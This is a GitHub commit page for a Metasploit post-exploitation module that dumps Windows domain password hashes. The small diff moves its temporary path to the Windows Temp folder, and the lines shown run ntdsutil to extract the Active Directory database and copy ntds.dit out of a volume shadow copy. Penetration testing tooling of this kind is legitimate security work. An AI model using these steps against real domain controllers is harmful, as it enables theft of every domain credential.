Skip to content

Commit bb56f60

Browse files
David MaloneyDavid Maloney
authored andcommitted
explicitly use windows\temp
instead of using the user temp directory trying to get around some intermittant permissions issues MSP-12358
1 parent 2a474c8 commit bb56f60

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/post/windows/gather/credentials/domain_hashdump.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -77,7 +77,7 @@ def is_domain_controller?
7777
end
7878

7979
def ntdsutil_method
80-
tmp_path = "#{get_env("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
80+
tmp_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
8181
command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
8282
result = cmd_exec("ntdsutil.exe", command_arguments,90)
8383
if result.include? "IFM media created successfully"
@@ -147,7 +147,7 @@ def vss_method
147147
print_status "Getting Details of ShadowCopy #{id}"
148148
sc_details = get_sc_details(id)
149149
sc_path = "#{sc_details['DeviceObject']}\\windows\\ntds\\ntds.dit"
150-
target_path = "#{get_env("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
150+
target_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
151151
print_status "Moving ntds.dit to #{target_path}"
152152
move_file(sc_path, target_path)
153153
target_path

0 commit comments

Comments
 (0)